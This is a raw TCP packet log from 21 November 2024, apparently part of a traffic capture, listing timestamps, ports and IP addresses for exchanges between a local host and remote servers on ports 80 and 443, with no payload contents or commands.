Nov 21, 2024 03:09:16.425772905 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.425837994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.425887108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.426536083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.426584959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.426623106 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.426672935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.427412033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.427465916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.427520990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.427567005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.428234100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.428284883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.428378105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.428427935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.429064989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.429132938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.429198027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.429249048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.429879904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.429933071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.429996967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.430048943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.430731058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.430782080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.430856943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.430907965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.431596994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.431649923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.431731939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.431792974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.432516098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.432595015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.432662010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.432712078 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.433264017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.433315039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.433379889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.433429956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.434067011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.434118986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.434176922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.434231043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.434927940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.434979916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.435061932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.435111046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.435733080 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.435786963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.435853004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.435903072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.436553955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.436604023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.436671972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.436721087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.437429905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.437482119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.437553883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.437602997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.438254118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.438302040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.438307047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.438357115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.439074993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.439141035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.439192057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.439241886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.439929008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.439981937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.440018892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.440068007 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.440718889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.440768003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.440817118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.440864086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.441575050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.441648006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.441706896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.441755056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.442425966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.442476988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.442480087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.442529917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.443238020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.443289995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.443290949 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.443340063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.444111109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.444163084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.444202900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.444255114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.444926023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.444976091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.445059061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.445110083 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.445789099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.445842028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.445919037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.445969105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.446563959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.446618080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.446692944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.446743965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.447458029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.447511911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.447514057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.447561979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.448218107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.448270082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.448342085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.448398113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.449070930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.449119091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.449197054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.449259996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.449992895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.450042963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.450115919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.450166941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.450808048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.450856924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.450931072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.450980902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.451664925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.451714993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.451788902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.451845884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.452734947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.452785015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.452857971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.452912092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.453258038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.453309059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.453387022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.453435898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.454176903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.454230070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.454322100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.454372883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.454936981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.454989910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.455070972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.455121994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.455746889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.455811977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.455878019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.455926895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.456564903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.456614017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.456682920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.456732988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.457398891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.457449913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.457612991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.457667112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.458239079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.458293915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.458426952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.458508015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.459081888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.459134102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.459196091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.459259987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.459809065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.459858894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.459923983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.459971905 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.460498095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.460546970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.460624933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.460675955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.461323977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.461370945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.461436987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.461489916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.462136030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.462188005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.468133926 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.468615055 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.468621969 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.468995094 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.468998909 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.469697952 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.469974041 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.469997883 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.470309019 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:16.470314980 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:16.620585918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.620654106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.620723963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.620836020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.620886087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.620934963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.621048927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.621109009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.621694088 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.621753931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.621887922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.621938944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.622584105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.622770071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.622839928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.623476028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.623536110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.623658895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.623712063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.624404907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.624444008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.624458075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.624491930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.625106096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.625159025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.625291109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.625339985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.626010895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.626046896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.626069069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.626085043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.626703024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.626754045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.626835108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.626902103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.627553940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.627631903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.627701044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.627854109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.628424883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.628493071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.628613949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.628663063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.629300117 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.629350901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.629487038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.629710913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.630069017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.630121946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.630201101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.630253077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.631038904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.631074905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.631098032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.631114006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.631922007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.631973028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.632085085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.632128000 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.632625103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.632674932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.632813931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.632859945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.633563042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.633596897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.633618116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.634259939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.634306908 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.634418011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.634469032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.635025024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.635219097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.635274887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.635937929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.635987997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.636111021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.636164904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.636837006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.636872053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.636893988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.636914968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.637753963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.637790918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.637840986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.638533115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.638567924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.638634920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.639367104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.639404058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.639419079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.639451027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.640194893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.640252113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.640362024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.640665054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.641072035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.641119957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.641256094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.641309023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.641896009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.641932011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.641988993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.642602921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.642656088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.642776012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.642829895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.643537045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.643589973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.643713951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.643762112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.644331932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.644367933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.644376040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.644427061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.645070076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.645268917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.645334959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.645996094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.646032095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.646089077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.646688938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.646744967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.646877050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.646931887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.647675991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.647735119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.647866964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.647917032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.648515940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.648566961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.648602009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.648638010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.649230957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.649415016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.649462938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.649930000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.649964094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.650023937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.650434017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.650485992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.650552034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.650600910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.651268959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.651376009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.651398897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.651443958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.652085066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.652132988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.652201891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.652246952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.652905941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:16.652951956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:16.653019905 CET	80	49814	31.41.244.11	192.168.2.5
